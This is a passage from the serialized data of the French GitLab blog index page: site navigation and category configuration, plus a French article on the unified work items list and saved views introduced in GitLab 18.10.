[{"data":1,"prerenderedAt":1302},["ShallowReactive",2],{"/fr-fr/blog":3,"navigation-fr-fr":20,"banner-fr-fr":436,"footer-fr-fr":446,"blogCategories-fr-fr":684,"relatedBlogPosts-fr-fr":827,"mainFeaturedPost-fr-fr":1259,"recentFeaturedPosts-fr-fr":1264,"recentPosts-fr-fr":1280},{"id":4,"title":5,"body":6,"category":6,"config":7,"content":9,"description":6,"extension":11,"meta":12,"navigation":13,"path":14,"seo":15,"slug":6,"stem":18,"testContent":6,"type":6,"__hash__":19},"pages/fr-fr/blog/index.yml","",null,{"template":8},"BlogHome",{"title":10},"GitLab Blog","yml",{},true,"/fr-fr/blog",{"title":16,"description":17},"Blog GitLab France","Guides, tutoriels et actualités DevSecOps sont disponibles sur notre blog. Créez, testez et déployez des logiciels sécurisés plus rapidement !","fr-fr/blog/index","gjUGUHqQ_UncK_g07iIr8YwLNdA7P3yLm1l4CpvRsKU",{"data":21},{"logo":22,"freeTrial":27,"sales":32,"login":37,"items":42,"search":352,"minimal":387,"duo":406,"switchNav":415,"pricingDeployment":426},{"config":23},{"href":24,"dataGaName":25,"dataGaLocation":26},"/fr-fr/","gitlab logo","header",{"text":28,"config":29},"Commencer un essai gratuit",{"href":30,"dataGaName":31,"dataGaLocation":26},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr&glm_content=default-saas-trial/","free trial",{"text":33,"config":34},"Contacter l'équipe commerciale",{"href":35,"dataGaName":36,"dataGaLocation":26},"/fr-fr/sales/","sales",{"text":38,"config":39},"Connexion",{"href":40,"dataGaName":41,"dataGaLocation":26},"https://gitlab.com/users/sign_in/","sign in",[43,70,167,172,273,333],{"text":44,"config":45,"cards":47},"Plateforme",{"dataNavLevelOne":46},"platform",[48,54,62],{"title":44,"description":49,"link":50},"La plateforme d'orchestration intelligente pour le DevSecOps",{"text":51,"config":52},"Explorer notre plateforme",{"href":53,"dataGaName":46,"dataGaLocation":26},"/fr-fr/platform/",{"title":55,"description":56,"link":57},"GitLab Duo Agent Platform","L'IA agentique pour l'ensemble du cycle de développement logiciel",{"text":58,"config":59},"Découvrir GitLab Duo",{"href":60,"dataGaName":61,"dataGaLocation":26},"/fr-fr/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":63,"description":64,"link":65},"Pourquoi GitLab ?","Découvrez les principales raisons pour lesquelles les entreprises choisissent GitLab",{"text":66,"config":67},"En savoir plus",{"href":68,"dataGaName":69,"dataGaLocation":26},"/fr-fr/why-gitlab/","why gitlab",{"text":71,"left":13,"config":72,"link":74,"lists":78,"footer":149},"Produit",{"dataNavLevelOne":73},"solutions",{"text":75,"config":76},"Voir toutes les solutions",{"href":77,"dataGaName":73,"dataGaLocation":26},"/fr-fr/solutions/",[79,104,127],{"title":80,"description":81,"link":82,"items":87},"Automatisation","CI/CD et automatisation pour accélérer le déploiement",{"config":83},{"icon":84,"href":85,"dataGaName":86,"dataGaLocation":26},"AutomatedCodeAlt","/fr-fr/solutions/delivery-automation/","automated software delivery",[88,92,95,100],{"text":89,"config":90},"CI/CD",{"href":91,"dataGaLocation":26,"dataGaName":89},"/fr-fr/solutions/continuous-integration/",{"text":55,"config":93},{"href":60,"dataGaLocation":26,"dataGaName":94},"gitlab duo agent platform - product menu",{"text":96,"config":97},"Gestion du code source",{"href":98,"dataGaLocation":26,"dataGaName":99},"/fr-fr/solutions/source-code-management/","Source Code Management",{"text":101,"config":102},"Livraison de logiciels automatisée",{"href":85,"dataGaLocation":26,"dataGaName":103},"Automated software delivery",{"title":105,"description":106,"link":107,"items":112},"Sécurité","Livrez du code plus rapidement sans compromettre la sécurité",{"config":108},{"href":109,"dataGaName":110,"dataGaLocation":26,"icon":111},"/fr-fr/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[113,117,122],{"text":114,"config":115},"Tests de sécurité des applications",{"href":109,"dataGaName":116,"dataGaLocation":26},"Application security testing",{"text":118,"config":119},"Sécurité de la chaîne d'approvisionnement logicielle",{"href":120,"dataGaLocation":26,"dataGaName":121},"/fr-fr/solutions/supply-chain/","Software supply chain security",{"text":123,"config":124},"Conformité logicielle",{"href":125,"dataGaName":126,"dataGaLocation":26},"/fr-fr/solutions/software-compliance/","software compliance",{"title":128,"link":129,"items":134},"Mesures",{"config":130},{"icon":131,"href":132,"dataGaName":133,"dataGaLocation":26},"DigitalTransformation","/fr-fr/solutions/visibility-measurement/","visibility and measurement",[135,139,144],{"text":136,"config":137},"Visibilité et mesures",{"href":132,"dataGaLocation":26,"dataGaName":138},"Visibility and Measurement",{"text":140,"config":141},"Gestion de la chaîne de valeur",{"href":142,"dataGaLocation":26,"dataGaName":143},"/fr-fr/solutions/value-stream-management/","Value Stream Management",{"text":145,"config":146},"Données d'analyse et informations clés",{"href":147,"dataGaLocation":26,"dataGaName":148},"/fr-fr/solutions/analytics-and-insights/","Analytics and insights",{"title":150,"items":151},"GitLab",[152,157,162],{"text":153,"config":154},"Pour les entreprises",{"href":155,"dataGaLocation":26,"dataGaName":156},"/fr-fr/enterprise/","enterprise",{"text":158,"config":159},"Pour les PME",{"href":160,"dataGaLocation":26,"dataGaName":161},"/fr-fr/small-business/","small business",{"text":163,"config":164},"Pour le secteur public",{"href":165,"dataGaLocation":26,"dataGaName":166},"/fr-fr/solutions/public-sector/","public sector",{"text":168,"config":169},"Tarifs",{"href":170,"dataGaName":171,"dataGaLocation":26,"dataNavLevelOne":171},"/fr-fr/pricing/","pricing",{"text":173,"config":174,"link":176,"lists":180,"feature":260},"Ressources",{"dataNavLevelOne":175},"resources",{"text":177,"config":178},"Afficher toutes les ressources",{"href":179,"dataGaName":175,"dataGaLocation":26},"/fr-fr/resources/",[181,214,232],{"title":182,"items":183},"Premiers pas",[184,189,194,199,204,209],{"text":185,"config":186},"Installation",{"href":187,"dataGaName":188,"dataGaLocation":26},"/fr-fr/install/","install",{"text":190,"config":191},"Guides de démarrage",{"href":192,"dataGaName":193,"dataGaLocation":26},"/fr-fr/get-started/","quick setup checklists",{"text":195,"config":196},"Apprentissage",{"href":197,"dataGaLocation":26,"dataGaName":198},"https://university.gitlab.com/","learn",{"text":200,"config":201},"Documentation",{"href":202,"dataGaName":203,"dataGaLocation":26},"https://docs.gitlab.com/","product documentation",{"text":205,"config":206},"Vidéos sur les bonnes pratiques",{"href":207,"dataGaName":208,"dataGaLocation":26},"/fr-fr/getting-started-videos/","best practice videos",{"text":210,"config":211},"Intégrations",{"href":212,"dataGaName":213,"dataGaLocation":26},"/fr-fr/integrations/","integrations",{"title":215,"items":216},"Découvrir",[217,222,227],{"text":218,"config":219},"Témoignages clients",{"href":220,"dataGaName":221,"dataGaLocation":26},"/fr-fr/customers/","customer success stories",{"text":223,"config":224},"Blog",{"href":225,"dataGaName":226,"dataGaLocation":26},"/fr-fr/blog/","blog",{"text":228,"config":229},"Travail à distance",{"href":230,"dataGaName":231,"dataGaLocation":26},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":233,"items":234},"Connecter",[235,240,245,250,255],{"text":236,"config":237},"Services GitLab",{"href":238,"dataGaName":239,"dataGaLocation":26},"/fr-fr/services/","services",{"text":241,"config":242},"Communauté",{"href":243,"dataGaName":244,"dataGaLocation":26},"/community/","community",{"text":246,"config":247},"Forum",{"href":248,"dataGaName":249,"dataGaLocation":26},"https://forum.gitlab.com/","forum",{"text":251,"config":252},"Événements",{"href":253,"dataGaName":254,"dataGaLocation":26},"/events/","events",{"text":256,"config":257},"Partenaires",{"href":258,"dataGaName":259,"dataGaLocation":26},"/fr-fr/partners/","partners",{"backgroundColor":261,"textColor":262,"text":263,"image":264,"link":268},"#2f2a6b","#fff","L'avenir du développement logiciel. Tendances et perspectives.",{"altText":265,"config":266},"carte promo The Source",{"src":267},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":269,"config":270},"Lire les articles les plus récents",{"href":271,"dataGaName":272,"dataGaLocation":26},"/fr-fr/the-source/","the source",{"text":274,"config":275,"lists":277},"Société",{"dataNavLevelOne":276},"company",[278],{"items":279},[280,285,291,293,298,303,308,313,318,323,328],{"text":281,"config":282},"À propos",{"href":283,"dataGaName":284,"dataGaLocation":26},"/fr-fr/company/","about",{"text":286,"config":287,"footerGa":290},"Carrières",{"href":288,"dataGaName":289,"dataGaLocation":26},"/jobs/","jobs",{"dataGaName":289},{"text":251,"config":292},{"href":253,"dataGaName":254,"dataGaLocation":26},{"text":294,"config":295},"Leadership",{"href":296,"dataGaName":297,"dataGaLocation":26},"/company/team/e-group/","leadership",{"text":299,"config":300},"Équipe",{"href":301,"dataGaName":302,"dataGaLocation":26},"/company/team/","team",{"text":304,"config":305},"Manuel",{"href":306,"dataGaName":307,"dataGaLocation":26},"https://handbook.gitlab.com/","handbook",{"text":309,"config":310},"Relations avec les investisseurs",{"href":311,"dataGaName":312,"dataGaLocation":26},"https://ir.gitlab.com/","investor relations",{"text":314,"config":315},"Trust Center",{"href":316,"dataGaName":317,"dataGaLocation":26},"/fr-fr/security/","trust center",{"text":319,"config":320},"Centre pour la transparence de l'IA",{"href":321,"dataGaName":322,"dataGaLocation":26},"/fr-fr/ai-transparency-center/","ai transparency center",{"text":324,"config":325},"Newsletter",{"href":326,"dataGaName":327,"dataGaLocation":26},"/company/contact/#contact-forms","newsletter",{"text":329,"config":330},"Presse",{"href":331,"dataGaName":332,"dataGaLocation":26},"/press/","press",{"text":334,"config":335,"lists":336},"Nous contacter",{"dataNavLevelOne":276},[337],{"items":338},[339,342,347],{"text":33,"config":340},{"href":35,"dataGaName":341,"dataGaLocation":26},"talk to sales",{"text":343,"config":344},"Assistance GitLab",{"href":345,"dataGaName":346,"dataGaLocation":26},"https://support.gitlab.com","support portal",{"text":348,"config":349},"Portail clients GitLab",{"href":350,"dataGaName":351,"dataGaLocation":26},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":353,"login":354,"suggestions":361},"Fermer",{"text":355,"link":356},"Pour rechercher des dépôts et des projets, connectez-vous à",{"text":357,"config":358},"GitLab.com",{"href":40,"dataGaName":359,"dataGaLocation":360},"search login","search",{"text":362,"default":363},"Suggestions",[364,366,371,373,378,383],{"text":55,"config":365},{"href":60,"dataGaName":55,"dataGaLocation":360},{"text":367,"config":368},"Suggestions de code (IA)",{"href":369,"dataGaName":370,"dataGaLocation":360},"/fr-fr/solutions/code-suggestions/","Code Suggestions (AI)",{"text":89,"config":372},{"href":91,"dataGaName":89,"dataGaLocation":360},{"text":374,"config":375},"GitLab sur AWS",{"href":376,"dataGaName":377,"dataGaLocation":360},"/fr-fr/partners/technology-partners/aws/","GitLab on AWS",{"text":379,"config":380},"GitLab sur Google Cloud",{"href":381,"dataGaName":382,"dataGaLocation":360},"/fr-fr/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":384,"config":385},"Pourquoi utiliser GitLab ?",{"href":68,"dataGaName":386,"dataGaLocation":360},"Why GitLab?",{"freeTrial":388,"mobileIcon":393,"desktopIcon":398,"secondaryButton":401},{"text":389,"config":390},"Commencer votre essai gratuit",{"href":391,"dataGaName":31,"dataGaLocation":392},"https://gitlab.com/-/trials/new/","nav",{"altText":394,"config":395},"Icône GitLab",{"src":396,"dataGaName":397,"dataGaLocation":392},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":394,"config":399},{"src":400,"dataGaName":397,"dataGaLocation":392},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":402,"config":403},"Commencer",{"href":404,"dataGaName":405,"dataGaLocation":392},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr/get-started/","get started",{"freeTrial":407,"mobileIcon":411,"desktopIcon":413},{"text":408,"config":409},"En savoir plus sur GitLab Duo",{"href":60,"dataGaName":410,"dataGaLocation":392},"gitlab duo",{"altText":394,"config":412},{"src":396,"dataGaName":397,"dataGaLocation":392},{"altText":394,"config":414},{"src":400,"dataGaName":397,"dataGaLocation":392},{"button":416,"mobileIcon":421,"desktopIcon":423},{"text":417,"config":418},"/switch",{"href":419,"dataGaName":420,"dataGaLocation":392},"#contact","switch",{"altText":394,"config":422},{"src":396,"dataGaName":397,"dataGaLocation":392},{"altText":394,"config":424},{"src":425,"dataGaName":397,"dataGaLocation":392},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":427,"mobileIcon":432,"desktopIcon":434},{"text":428,"config":429},"Retour aux tarifs",{"href":170,"dataGaName":430,"dataGaLocation":392,"icon":431},"back to pricing","GoBack",{"altText":394,"config":433},{"src":396,"dataGaName":397,"dataGaLocation":392},{"altText":394,"config":435},{"src":400,"dataGaName":397,"dataGaLocation":392},{"title":437,"button":438,"config":443},"Découvrez comment l'IA agentique transforme la livraison logicielle",{"text":439,"config":440},"Regarder GitLab Transcend maintenant",{"href":441,"dataGaName":442,"dataGaLocation":26},"/fr-fr/events/transcend/virtual/","transcend event",{"layout":444,"icon":445,"disabled":13},"release","AiStar",{"data":447},{"text":448,"source":449,"edit":455,"contribute":460,"config":465,"items":470,"minimal":675},"Git est une marque déposée de Software Freedom Conservancy et notre utilisation de « GitLab » est sous licence.",{"text":450,"config":451},"Afficher le code source de la page",{"href":452,"dataGaName":453,"dataGaLocation":454},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":456,"config":457},"Modifier cette page",{"href":458,"dataGaName":459,"dataGaLocation":454},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":461,"config":462},"Veuillez contribuer",{"href":463,"dataGaName":464,"dataGaLocation":454},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":466,"facebook":467,"youtube":468,"linkedin":469},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[471,516,569,613,640],{"title":168,"links":472,"subMenu":487},[473,477,482],{"text":474,"config":475},"Voir les forfaits",{"href":170,"dataGaName":476,"dataGaLocation":454},"view plans",{"text":478,"config":479},"GitLab Premium",{"href":480,"dataGaName":481,"dataGaLocation":454},"/fr-fr/pricing/premium/","why premium",{"text":483,"config":484},"GitLab Ultimate",{"href":485,"dataGaName":486,"dataGaLocation":454},"/fr-fr/pricing/ultimate/","why ultimate",[488],{"title":334,"links":489},[490,492,494,496,501,506,511],{"text":33,"config":491},{"href":35,"dataGaName":36,"dataGaLocation":454},{"text":343,"config":493},{"href":345,"dataGaName":346,"dataGaLocation":454},{"text":348,"config":495},{"href":350,"dataGaName":351,"dataGaLocation":454},{"text":497,"config":498},"Statut",{"href":499,"dataGaName":500,"dataGaLocation":454},"https://status.gitlab.com/","status",{"text":502,"config":503},"Conditions d'utilisation",{"href":504,"dataGaName":505,"dataGaLocation":454},"/terms/","terms of use",{"text":507,"config":508},"Politique de confidentialité",{"href":509,"dataGaName":510,"dataGaLocation":454},"/fr-fr/privacy/","privacy statement",{"text":512,"config":513},"Gérer vos cookies",{"dataGaName":514,"dataGaLocation":454,"id":515,"isOneTrustButton":13},"cookie preferences","ot-sdk-btn",{"title":71,"links":517,"subMenu":526},[518,522],{"text":519,"config":520},"Plateforme DevSecOps",{"href":53,"dataGaName":521,"dataGaLocation":454},"devsecops platform",{"text":523,"config":524},"Développement assisté par l'IA",{"href":60,"dataGaName":525,"dataGaLocation":454},"ai-assisted development",[527],{"title":528,"links":529},"Thèmes",[530,534,539,544,549,554,559,564],{"text":89,"config":531},{"href":532,"dataGaName":533,"dataGaLocation":454},"/fr-fr/topics/ci-cd/","cicd",{"text":535,"config":536},"GitOps",{"href":537,"dataGaName":538,"dataGaLocation":454},"/fr-fr/topics/gitops/","gitops",{"text":540,"config":541},"DevOps",{"href":542,"dataGaName":543,"dataGaLocation":454},"/fr-fr/topics/devops/","devops",{"text":545,"config":546},"Contrôle de version",{"href":547,"dataGaName":548,"dataGaLocation":454},"/fr-fr/topics/version-control/","version control",{"text":550,"config":551},"DevSecOps",{"href":552,"dataGaName":553,"dataGaLocation":454},"/fr-fr/topics/devsecops/","devsecops",{"text":555,"config":556},"Cloud-native",{"href":557,"dataGaName":558,"dataGaLocation":454},"/fr-fr/topics/cloud-native/","cloud native",{"text":560,"config":561},"IA pour la programmation",{"href":562,"dataGaName":563,"dataGaLocation":454},"/fr-fr/topics/devops/ai-for-coding/","ai for coding",{"text":565,"config":566},"IA agentique",{"href":567,"dataGaName":568,"dataGaLocation":454},"/fr-fr/topics/agentic-ai/","agentic ai",{"title":570,"links":571},"Solutions",[572,575,577,582,585,588,591,594,597,600,603,608],{"text":114,"config":573},{"href":109,"dataGaName":574,"dataGaLocation":454},"Application Security Testing",{"text":101,"config":576},{"href":85,"dataGaName":86,"dataGaLocation":454},{"text":578,"config":579},"Développement Agile",{"href":580,"dataGaName":581,"dataGaLocation":454},"/fr-fr/solutions/agile-delivery/","agile delivery",{"text":96,"config":583},{"href":98,"dataGaName":584,"dataGaLocation":454},"source code management",{"text":89,"config":586},{"href":91,"dataGaName":587,"dataGaLocation":454},"continuous integration & delivery",{"text":140,"config":589},{"href":142,"dataGaName":590,"dataGaLocation":454},"value stream management",{"text":535,"config":592},{"href":593,"dataGaName":538,"dataGaLocation":454},"/fr-fr/solutions/gitops/",{"text":595,"config":596},"Entreprises",{"href":155,"dataGaName":156,"dataGaLocation":454},{"text":598,"config":599},"PME",{"href":160,"dataGaName":161,"dataGaLocation":454},{"text":601,"config":602},"Secteur public",{"href":165,"dataGaName":166,"dataGaLocation":454},{"text":604,"config":605},"Éducation",{"href":606,"dataGaName":607,"dataGaLocation":454},"/fr-fr/solutions/education/","education",{"text":609,"config":610},"Services financiers",{"href":611,"dataGaName":612,"dataGaLocation":454},"/fr-fr/solutions/finance/","financial services",{"title":173,"links":614},[615,617,619,621,624,626,628,630,632,634,636,638],{"text":185,"config":616},{"href":187,"dataGaName":188,"dataGaLocation":454},{"text":190,"config":618},{"href":192,"dataGaName":193,"dataGaLocation":454},{"text":195,"config":620},{"href":197,"dataGaName":198,"dataGaLocation":454},{"text":200,"config":622},{"href":202,"dataGaName":623,"dataGaLocation":454},"docs",{"text":223,"config":625},{"href":225,"dataGaName":226,"dataGaLocation":454},{"text":218,"config":627},{"href":220,"dataGaName":221,"dataGaLocation":454},{"text":228,"config":629},{"href":230,"dataGaName":231,"dataGaLocation":454},{"text":236,"config":631},{"href":238,"dataGaName":239,"dataGaLocation":454},{"text":241,"config":633},{"href":243,"dataGaName":244,"dataGaLocation":454},{"text":246,"config":635},{"href":248,"dataGaName":249,"dataGaLocation":454},{"text":251,"config":637},{"href":253,"dataGaName":254,"dataGaLocation":454},{"text":256,"config":639},{"href":258,"dataGaName":259,"dataGaLocation":454},{"title":274,"links":641},[642,644,646,648,650,652,654,659,664,666,668,670],{"text":281,"config":643},{"href":283,"dataGaName":276,"dataGaLocation":454},{"text":286,"config":645},{"href":288,"dataGaName":289,"dataGaLocation":454},{"text":294,"config":647},{"href":296,"dataGaName":297,"dataGaLocation":454},{"text":299,"config":649},{"href":301,"dataGaName":302,"dataGaLocation":454},{"text":304,"config":651},{"href":306,"dataGaName":307,"dataGaLocation":454},{"text":309,"config":653},{"href":311,"dataGaName":312,"dataGaLocation":454},{"text":655,"config":656},"Développement durable",{"href":657,"dataGaName":658,"dataGaLocation":454},"/sustainability/","Sustainability",{"text":660,"config":661},"Diversité, inclusion et appartenance (DIB)",{"href":662,"dataGaName":663,"dataGaLocation":454},"/fr-fr/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":314,"config":665},{"href":316,"dataGaName":317,"dataGaLocation":454},{"text":324,"config":667},{"href":326,"dataGaName":327,"dataGaLocation":454},{"text":329,"config":669},{"href":331,"dataGaName":332,"dataGaLocation":454},{"text":671,"config":672},"Déclaration de transparence sur l'esclavage moderne",{"href":673,"dataGaName":674,"dataGaLocation":454},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":676},[677,679,682],{"text":502,"config":678},{"href":504,"dataGaName":505,"dataGaLocation":454},{"text":680,"config":681},"Gestion des cookies",{"dataGaName":514,"dataGaLocation":454,"id":515,"isOneTrustButton":13},{"text":507,"config":683},{"href":509,"dataGaName":510,"dataGaLocation":454},[685,700,713,726,739,750,763,776,789,801,813],{"id":686,"title":687,"body":6,"category":6,"config":688,"content":692,"description":6,"extension":11,"meta":694,"navigation":13,"path":695,"seo":696,"slug":6,"stem":698,"testContent":6,"type":6,"__hash__":699},"blogCategories/fr-fr/blog/categories/agile-planning.yml","Agile Planning",{"template":689,"slug":690,"hide":691},"BlogCategory","agile-planning",false,{"name":693},"Planification Agile",{},"/fr-fr/blog/categories/agile-planning",{"title":693,"description":697},"Browse articles related to Planification Agile on the GitLab Blog","fr-fr/blog/categories/agile-planning","eCqDMy3Tm86R-iWAOOuE2c44f2rrTYcCvzRSwiYWJ-M",{"id":701,"title":702,"body":6,"category":6,"config":703,"content":705,"description":6,"extension":11,"meta":707,"navigation":13,"path":708,"seo":709,"slug":6,"stem":711,"testContent":6,"type":6,"__hash__":712},"blogCategories/fr-fr/blog/categories/ai-ml.yml","Ai Ml",{"template":689,"slug":704,"hide":691},"ai-ml",{"name":706},"IA/ML",{},"/fr-fr/blog/categories/ai-ml",{"title":706,"description":710},"Browse articles related to IA/ML on the GitLab Blog","fr-fr/blog/categories/ai-ml","QEkTagmpAgYCe2FweiJ5Mdu-ASs4S6n27fkyyQbeQYw",{"id":714,"title":715,"body":6,"category":6,"config":716,"content":718,"description":6,"extension":11,"meta":720,"navigation":13,"path":721,"seo":722,"slug":6,"stem":724,"testContent":6,"type":6,"__hash__":725},"blogCategories/fr-fr/blog/categories/bulletin-board.yml","Bulletin Board",{"template":689,"slug":717,"hide":691},"bulletin-board",{"name":719},"Annonces",{},"/fr-fr/blog/categories/bulletin-board",{"title":719,"description":723},"Browse articles related to Annonces on the GitLab Blog","fr-fr/blog/categories/bulletin-board","CgolUFMrAPm4AqXQgRGM3NrXyeBTkTdY4L4PMTLX5ao",{"id":727,"title":728,"body":6,"category":6,"config":729,"content":731,"description":6,"extension":11,"meta":733,"navigation":13,"path":734,"seo":735,"slug":6,"stem":737,"testContent":6,"type":6,"__hash__":738},"blogCategories/fr-fr/blog/categories/customer-stories.yml","Customer Stories",{"template":689,"slug":730,"hide":691},"customer-stories",{"name":732},"Étude de cas",{},"/fr-fr/blog/categories/customer-stories",{"title":732,"description":736},"Browse articles related to Étude de cas on the GitLab Blog","fr-fr/blog/categories/customer-stories","oD7Yig6z8tF5C1WEm53kLdc1lXLLzK7gGqNML46MHqY",{"id":740,"title":741,"body":6,"category":6,"config":742,"content":743,"description":6,"extension":11,"meta":744,"navigation":13,"path":745,"seo":746,"slug":6,"stem":748,"testContent":6,"type":6,"__hash__":749},"blogCategories/fr-fr/blog/categories/devsecops.yml","Devsecops",{"template":689,"slug":553,"hide":691},{"name":550},{},"/fr-fr/blog/categories/devsecops",{"title":550,"description":747},"Browse articles related to DevSecOps on the GitLab Blog","fr-fr/blog/categories/devsecops","5CrNSdWz8mAe8HviC-_hzouJyiY3I5xVJekmz-uuxvM",{"id":751,"title":752,"body":6,"category":6,"config":753,"content":755,"description":6,"extension":11,"meta":757,"navigation":13,"path":758,"seo":759,"slug":6,"stem":761,"testContent":6,"type":6,"__hash__":762},"blogCategories/fr-fr/blog/categories/engineering.yml","Engineering",{"template":689,"slug":754,"hide":691},"engineering",{"name":756},"Ingénierie",{},"/fr-fr/blog/categories/engineering",{"title":756,"description":760},"Browse articles related to Ingénierie on the GitLab Blog","fr-fr/blog/categories/engineering","QgLZNRi6l7UgbB5sPrIeGPDanWZXCR-1E7llL3f2HA4",{"id":764,"title":765,"body":6,"category":6,"config":766,"content":768,"description":6,"extension":11,"meta":770,"navigation":13,"path":771,"seo":772,"slug":6,"stem":774,"testContent":6,"type":6,"__hash__":775},"blogCategories/fr-fr/blog/categories/news.yml","News",{"template":689,"slug":767,"hide":691},"news",{"name":769},"Actualités",{},"/fr-fr/blog/categories/news",{"title":769,"description":773},"Browse articles related to Actualités on the GitLab Blog","fr-fr/blog/categories/news","QZmlZtD0CUGmknioTqq1c_83S87r3pvABIaaQlQzRzM",{"id":777,"title":778,"body":6,"category":6,"config":779,"content":781,"description":6,"extension":11,"meta":783,"navigation":13,"path":784,"seo":785,"slug":6,"stem":787,"testContent":6,"type":6,"__hash__":788},"blogCategories/fr-fr/blog/categories/open-source.yml","Open Source",{"template":689,"slug":780,"hide":691},"open-source",{"name":782},"Open source",{},"/fr-fr/blog/categories/open-source",{"title":782,"description":786},"Browse articles related to Open source on the GitLab Blog","fr-fr/blog/categories/open-source","rj3ZmgYeIL4rq70hMj1N46cv3zwho00yhlPs_8_a4zo",{"id":790,"title":791,"body":6,"category":6,"config":792,"content":794,"description":6,"extension":11,"meta":795,"navigation":13,"path":796,"seo":797,"slug":6,"stem":799,"testContent":6,"type":6,"__hash__":800},"blogCategories/fr-fr/blog/categories/product.yml","Product",{"template":689,"slug":793,"hide":691},"product",{"name":71},{},"/fr-fr/blog/categories/product",{"title":71,"description":798},"Browse articles related to Produit on the GitLab Blog","fr-fr/blog/categories/product","xnMpk_LeB1cHpmZfK2kjmim_7OxrgcGuNf716Rbj6eE",{"id":802,"title":803,"body":6,"category":6,"config":804,"content":806,"description":6,"extension":11,"meta":807,"navigation":13,"path":808,"seo":809,"slug":6,"stem":811,"testContent":6,"type":6,"__hash__":812},"blogCategories/fr-fr/blog/categories/security.yml","Security",{"template":689,"slug":805,"hide":691},"security",{"name":105},{},"/fr-fr/blog/categories/security",{"title":105,"description":810},"Browse articles related to Sécurité on the GitLab Blog","fr-fr/blog/categories/security","w53e73P2QHMFJINqvUAC204SXUgtVy7XBivdu5WQyqo",{"id":814,"title":815,"body":6,"category":6,"config":816,"content":818,"description":6,"extension":11,"meta":821,"navigation":13,"path":822,"seo":823,"slug":6,"stem":825,"testContent":6,"type":6,"__hash__":826},"blogCategories/fr-fr/blog/categories/security-labs.yml","Security Labs",{"template":689,"isCustomCategory":13,"slug":817,"hide":691},"security-labs",{"name":819,"description":820},"Recherche en sécurité","Learn about cybersecurity trends, best practices, and third-party threats to secure your code and digital infrastructure.",{},"/fr-fr/blog/categories/security-labs",{"title":819,"description":824},"Browse articles related to Recherche en sécurité on the GitLab Blog","fr-fr/blog/categories/security-labs","aOuaAxJhYhLDekH7XHvq20ksx0tstQVafXlkstDMws8",[828,875,917,954,999,1037,1080,1120,1158,1195,1231],{"category":693,"slug":690,"posts":829},[830,845,860],{"content":831,"config":842},{"body":832,"category":690,"tags":833,"date":836,"title":837,"description":838,"authors":839,"heroImage":841},"La planification Agile de GitLab a fait l'objet d'une mise à niveau significative. À partir de la version GitLab 18.10, la nouvelle liste des éléments de travail et les vues enregistrées réunissent deux fonctionnalités très demandées : une liste unique qui combine tous les types d'éléments de travail, et des vues enregistrées qui vous permettent de sauvegarder des configurations de liste personnalisées et d'y revenir.\n\nCes fonctionnalités permettent de gagner du temps et d'économiser des efforts :\n\n* En éliminant la configuration répétitive des filtres pour les workflows courants\n* En garantissant la cohérence dans la façon dont les équipes visualisent et évaluent le travail\n* En facilitant les rapports standardisés et les vérifications de statut\n\n## Que sont les éléments de travail ?\n\nAuparavant, les epics et les tickets se trouvaient sur des pages séparées, ce qui obligeait les utilisateurs à naviguer d'une page à l'autre. La liste des éléments de travail combine désormais les epics, les tickets et d'autres éléments de travail dans une liste unique et unifiée, afin que les équipes n'aient plus à basculer entre les pages selon les éléments de travail.\n\nCette liste servira également de base pour des fonctionnalités de planification plus approfondies à venir. Le regroupement de tous les types d'éléments de travail en un seul endroit ouvre la voie à des vues hiérarchiques (comme une vue table), qui faciliteront la visualisation des relations et de la structure entre les epics, les tickets et d'autres éléments en un coup d'œil.\n\nAu-delà des vues de liste et d'éléments classés selon une hiérarchie, nous prévoyons également de consolider d'autres workflows courants, comme les tableaux, dans cette expérience unifiée. Toutes vos vues de planification essentielles seront disponibles en un seul endroit et pourront être partagées avec votre équipe via des vues enregistrées, sans besoin de naviguer dans différentes parties du produit.\n\nVous vous demandez peut-être quels sont ces « éléments de travail », et s'il s'agit de tickets. Le terme « ticket » ne correspond pas à notre vision future. Vous pourrez bientôt entièrement configurer vos types d'éléments de travail, y compris leurs noms, pour qu'ils correspondent à la planification de votre organisation. Limiter l'expérience à une terminologie legacy irait à l'encontre de cette flexibilité. Les «  éléments de travail » constituent la base d'un modèle que vous pouvez personnaliser.\n\n![Vue de la liste des éléments de travail](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774028606/ae9ugijwjsyv3ktiks0n.png)\n\n## Qu'est-ce qui a conduit à cette évolution vers les éléments de travail ?\n\nEn 2024, nous avons partagé notre vision d'une [nouvelle expérience de planification Agile dans GitLab](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/), alimentée par le framework des éléments de travail. Cet article décrivait le problème principal : les epics et les tickets sont des expériences séparées et créent des frictions pour les équipes qui s'attendent à une fonctionnalité cohérente entre les objets de planification. Le framework des éléments de travail a permis d'apporter une solution : une architecture unifiée conçue pour offrir plus de cohérence et de nouvelles fonctionnalités au sein des outils de planification de GitLab. La liste des éléments de travail et les vues enregistrées constituent une étape de ce parcours.\n\n## Que sont les vues enregistrées ?\n\nLes vues enregistrées permettent aux utilisateurs de sauvegarder et de revenir à des configurations de liste personnalisées, avec filtres, ordre de tri et options d'affichage. 